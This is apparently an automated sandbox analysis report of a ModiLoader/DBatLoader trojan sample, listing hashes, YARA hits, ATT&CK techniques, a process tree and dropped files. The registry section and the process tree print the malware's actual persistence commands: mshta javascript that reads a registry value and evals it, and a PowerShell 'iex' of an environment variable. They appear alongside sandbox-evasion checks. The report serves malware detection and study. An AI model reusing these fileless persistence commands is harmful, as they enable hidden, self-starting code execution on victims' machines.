modiloader | 1241340d113fa69016b10572019d2d92cf576804f090b8434bce6ab5dba6699c

General

Target

8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
Size

336KB
MD5

8d684913f38ad727716c20d606a45168
SHA1

b96c210008b8450a36f35b63ed2793428e41f4a6
SHA256

1241340d113fa69016b10572019d2d92cf576804f090b8434bce6ab5dba6699c
SHA512

11a5ea672a3832813718ede44fbb824e8f394b7a4bedd774f1727403b18d350a36c13b9554449bd68b0f7931d559c021ba57a0196ff61a1e077224420897ddaf
SSDEEP

6144:A2coqsSYTgK00Nn8zsW39AH9nPiuYgNxSCSB5VT:A2vqvYUv0NnOsW32x/YuoBjT

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3064 2556 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3064	2556	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 61 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2228-2-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2228-5-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2228-4-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2228-10-0x0000000000440000-0x000000000051A000-memory.dmp	modiloader_stage2
behavioral1/memory/2228-9-0x0000000000440000-0x000000000051A000-memory.dmp	modiloader_stage2
behavioral1/memory/2228-8-0x0000000000440000-0x000000000051A000-memory.dmp	modiloader_stage2
behavioral1/memory/2228-7-0x0000000000440000-0x000000000051A000-memory.dmp	modiloader_stage2
behavioral1/memory/2228-6-0x0000000000440000-0x000000000051A000-memory.dmp	modiloader_stage2
behavioral1/memory/2228-11-0x0000000000440000-0x000000000051A000-memory.dmp	modiloader_stage2
behavioral1/memory/2228-12-0x0000000000440000-0x000000000051A000-memory.dmp	modiloader_stage2
behavioral1/memory/2540-18-0x0000000005290000-0x000000000536A000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-20-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2540-22-0x0000000005290000-0x000000000536A000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-23-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-25-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-38-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-41-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-48-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-47-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-46-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-45-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-51-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-63-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-44-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-43-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-40-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-50-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-49-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-77-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-80-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-79-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-78-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-76-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-75-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-74-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-73-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-72-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-71-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-70-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-69-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-68-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-67-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-66-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-65-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/1672-64-0x00000000002A0000-0x00000000003E7000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-52-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-42-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-37-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-36-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-35-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-34-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-33-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-32-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-31-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-30-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-29-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-28-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-27-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-26-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-39-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2
behavioral1/memory/2952-24-0x00000000002E0000-0x0000000000427000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

2952 regsvr32.exe
Drops startup file 1 IoCs

Processes:

regsvr32.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\16291.lnk regsvr32.exe

pid	process
2952	regsvr32.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\16291.lnk	regsvr32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:uo5LRxO=\"WOZG\";Nd46=new%20ActiveXObject(\"WScript.Shell\");AFVwai79=\"D1\";lL23Fr=Nd46.RegRead(\"HKCU\\\\software\\\\ruqqchx\\\\uiksnqah\");PnL32aM=\"2K\";eval(lL23Fr);uB7TMAa=\"yL\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\d7174\\cc24b.lnk\""	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:c69ImGUw=\"oTl4t\";oI1=new%20ActiveXObject(\"WScript.Shell\");Cej4WQYP=\"GU\";fJN1o=oI1.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\ruqqchx\\\\uiksnqah\");iCh3Y4C=\"3L9nsFC2\";eval(fJN1o);Zr4bnwyS=\"v0otL\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

8d684913f38ad727716c20d606a45168_JaffaCakes118.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 1688 set thread context of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 2540 set thread context of 2952	2540	powershell.exe	regsvr32.exe
PID 2952 set thread context of 1672	2952	regsvr32.exe	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Modifies registry class 7 IoCs

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.c56af4\ = "49de3"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3\shell\open	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:SN9dBf7Aq=\"n\";B7P=new ActiveXObject(\"WScript.Shell\");GmvA3=\"RQHJ\";l9t7Di=B7P.RegRead(\"HKCU\\\\software\\\\ruqqchx\\\\uiksnqah\");dRIs3=\"D629IF\";eval(l9t7Di);zZA3qQN=\"zwuO3m\";\""	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.c56af4	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeregsvr32.exe

pid	process
2540	powershell.exe
2540	powershell.exe
2540	powershell.exe
2540	powershell.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe
2952	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

2540 powershell.exe
2952 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2540 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

8d684913f38ad727716c20d606a45168_JaffaCakes118.exe

pid process

1688 8d684913f38ad727716c20d606a45168_JaffaCakes118.exe

description	pid	process
Token: SeDebugPrivilege	2540	powershell.exe

pid	process
1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

8d684913f38ad727716c20d606a45168_JaffaCakes118.exemshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 1688 wrote to memory of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 1688 wrote to memory of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 1688 wrote to memory of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 1688 wrote to memory of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 1688 wrote to memory of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 1688 wrote to memory of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 1688 wrote to memory of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 1688 wrote to memory of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 1688 wrote to memory of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 1688 wrote to memory of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 1688 wrote to memory of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 1688 wrote to memory of 2228	1688	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe	8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
PID 3064 wrote to memory of 2540	3064	mshta.exe	powershell.exe
PID 3064 wrote to memory of 2540	3064	mshta.exe	powershell.exe
PID 3064 wrote to memory of 2540	3064	mshta.exe	powershell.exe
PID 3064 wrote to memory of 2540	3064	mshta.exe	powershell.exe
PID 2540 wrote to memory of 2952	2540	powershell.exe	regsvr32.exe
PID 2540 wrote to memory of 2952	2540	powershell.exe	regsvr32.exe
PID 2540 wrote to memory of 2952	2540	powershell.exe	regsvr32.exe
PID 2540 wrote to memory of 2952	2540	powershell.exe	regsvr32.exe
PID 2540 wrote to memory of 2952	2540	powershell.exe	regsvr32.exe
PID 2540 wrote to memory of 2952	2540	powershell.exe	regsvr32.exe
PID 2540 wrote to memory of 2952	2540	powershell.exe	regsvr32.exe
PID 2540 wrote to memory of 2952	2540	powershell.exe	regsvr32.exe
PID 2952 wrote to memory of 1672	2952	regsvr32.exe	regsvr32.exe
PID 2952 wrote to memory of 1672	2952	regsvr32.exe	regsvr32.exe
PID 2952 wrote to memory of 1672	2952	regsvr32.exe	regsvr32.exe
PID 2952 wrote to memory of 1672	2952	regsvr32.exe	regsvr32.exe
PID 2952 wrote to memory of 1672	2952	regsvr32.exe	regsvr32.exe
PID 2952 wrote to memory of 1672	2952	regsvr32.exe	regsvr32.exe
PID 2952 wrote to memory of 1672	2952	regsvr32.exe	regsvr32.exe
PID 2952 wrote to memory of 1672	2952	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8d684913f38ad727716c20d606a45168_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1688

C:\Users\Admin\AppData\Local\Temp\8d684913f38ad727716c20d606a45168_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8d684913f38ad727716c20d606a45168_JaffaCakes118.exe"
2⤵
PID:2228

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:XE1N2mc="XKb0W";Er60=new%20ActiveXObject("WScript.Shell");sgDQTgZ5="Su4";DO6ab=Er60.RegRead("HKCU\\software\\8HA54MX\\ULGyWQ");YK6QTgs3="lm";eval(DO6ab);iX8UXpD="nBI";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3064

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:rntrb
2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2540

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Drops startup file
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2952

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1672

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Virtualization/Sandbox Evasion

3

T1497

Modify Registry

2

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

3

T1497

File and Directory Discovery

1

T1083

System Information Discovery

3

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\d7174\043bc.c56af4
Filesize
5KB

MD5
1479a30ac7418b59a0cbe8edef8a75c8

SHA1
5fe7abeabb34227a9bcad6a27a7757070338ccde

SHA256
88bd952e95682f387cd017ee924dff77f1308acc33c8cb3d10b901e81446dc28

SHA512
7479ee3de0db6678229acc3c69b411c86784646aff637dbcdaf24e722317b0467acb91edc16ad29cb7a101db9140ce88feab6acd3a9e1c09bc86458a86322776

Download Submit
C:\Users\Admin\AppData\Local\d7174\cc24b.lnk
Filesize
865B

MD5
1550f0755a5bfcc63dcf3fc4bcde7184

SHA1
75a0ccfddf639cf53a79c22d036b976a4919beaf

SHA256
d3ec6f4c7f4a06d771de870fc27aca59398fc953e761f4f9c46dde44d4d30b59

SHA512
a9e033489b7eb069070efa1d90c709831d9f635fab316e49960698b348ad4caf768cc1cf8d3dd6cf462a3cfe2c8aa36a46375ed5f761ec01e84dbfa55cc465e0

Download Submit
C:\Users\Admin\AppData\Local\d7174\ee03f.bat
Filesize
58B

MD5
62b289d68029a539bc6acca66690657f

SHA1
40fda721df69a4d2174bbac91ed08a3358c4e155

SHA256
1e2637fa0f8059e703044b8dc939a206f49986e35cb533283b8a336c6487d213

SHA512
cf48bedf220700b84a3a4474b18fb922379685cfc217c0c63041fafd192529cb5f4dade4139f61acb2c7513f7c7daf33988b7c4a8472370bbca5634c49688549

Download Submit
C:\Users\Admin\AppData\Roaming\3aef8\6d479.c56af4
Filesize
43KB

MD5
454280849468f78f922326ba84c04cb1

SHA1
17da5b5c814bf1b0b2ea62c121c8930a6dd4089b

SHA256
1d18dd41708fb4dfd482bccedffad7c0642e869855afb6bee20d841abb67cec3

SHA512
58b5d5d6fda4243ca40c6d015e86884bd843b6ed56f0515184a1f73ef9deb3eb73ed7e5c46375292a9525a4f0b593b861719d01176c2f0ab6c097290fea49220

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\16291.lnk
Filesize
981B

MD5
67de599baeaf8c09e401f1207eae1071

SHA1
fd2cbb7a5fd187510521b495ec3cbd5ea312355c

SHA256
3a9374281af9555dee3eebec504ccb6e8a84a1bb2de389b0d78e3989eb9bf090

SHA512
5f40be1c7173c011b0bcf488d42ea668d1a373cc8665ee1b59a8b63c66f1c3dcf60a280eae099a3e6a52e1b475518da29c251824ef38e3145641bf9b2bd4997e

Download Submit
memory/1672-71-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-78-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-73-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-74-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-72-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-67-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-80-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-70-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-79-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-77-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-69-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-68-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-76-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-75-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-64-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-65-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/1672-66-0x00000000002A0000-0x00000000003E7000-memory.dmp

Filesize
1.3MB

Download
memory/2228-11-0x0000000000440000-0x000000000051A000-memory.dmp

Filesize
872KB

Download
memory/2228-2-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2228-12-0x0000000000440000-0x000000000051A000-memory.dmp

Filesize
872KB

Download
memory/2228-6-0x0000000000440000-0x000000000051A000-memory.dmp

Filesize
872KB

Download
memory/2228-7-0x0000000000440000-0x000000000051A000-memory.dmp

Filesize
872KB

Download
memory/2228-8-0x0000000000440000-0x000000000051A000-memory.dmp

Filesize
872KB

Download
memory/2228-9-0x0000000000440000-0x000000000051A000-memory.dmp

Filesize
872KB

Download
memory/2228-10-0x0000000000440000-0x000000000051A000-memory.dmp

Filesize
872KB

Download
memory/2228-4-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2228-5-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2540-21-0x0000000002810000-0x0000000004810000-memory.dmp

Filesize
32.0MB

Download
memory/2540-22-0x0000000005290000-0x000000000536A000-memory.dmp

Filesize
872KB

Download
memory/2540-18-0x0000000005290000-0x000000000536A000-memory.dmp

Filesize
872KB

Download
memory/2952-38-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-49-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-50-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-40-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-43-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-44-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-63-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-51-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-45-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-46-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-47-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-52-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-42-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-37-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-36-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-35-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-34-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-33-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-32-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-31-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-30-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-29-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-28-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-27-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
